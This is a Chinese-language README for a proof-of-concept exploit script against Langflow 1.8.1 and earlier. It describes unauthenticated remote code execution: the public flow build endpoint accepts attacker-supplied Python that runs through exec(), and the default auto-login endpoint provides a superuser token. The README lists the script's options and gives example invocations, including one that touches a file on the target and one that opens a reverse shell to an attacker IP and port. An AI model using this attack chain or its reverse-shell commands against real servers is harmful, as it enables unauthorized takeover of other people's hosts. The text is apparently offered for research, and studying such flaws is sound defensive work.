Langflow 1.8.1 及更早版本中的漏洞允许远程、未认证的攻击者在主机上实现任意命令执行。
POST /api/v1/build_public_tmp/{flow_id}/flow 端点允许任何人无需认证即可构建公共流程。
通过提供可选的 data 参数,攻击者可以用自己精心构造的定义覆盖存储的流程,并在节点配置中嵌入任意 Python 代码。这些由用户控制的代码通过 exec() 执行,且没有任何沙箱或验证机制,从而导致未认证的远程代码执行。
Langflow 1.8.1 及更早版本
AUTO_LOGIN=true 时创建公共流程当 AUTO_LOGIN=true(默认配置)时,未认证的攻击者可以满足所有条件:
GET /api/v1/auto_login → 获取超级用户令牌POST /api/v1/flows/ → 创建公共流程build_public_tmp 触发漏洞利用,无需任何认证python cve-2026-33017.py <host> [options]
选项:
-p PORT, --port PORT: SSH 端口(默认:7860)
-id FLOW_ID, --flow_id FLOW_ID: 公共流程 ID(如果省略将创建一个新的)
-c COMMAND, --command COMMAND: 要执行的自定义命令
--shell: 启动反向 Shell
--lhost LHOST: 用于反向 Shell 的攻击者 IP
--lport LPORT: 用于反向 Shell 的攻击者端口(默认:4444)
-t TIMEOUT, --timeout TIMEOUT: 连接超时时间(秒)(默认:5)
python cve-2026-33017.py 127.0.0.1 -c 'touch /tmp/pwned.txt'
python cve-2026-33017 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444
此 PoC 仅用于教育和研究目的。使用风险自负。作者对任何滥用或造成的损害不承担责任。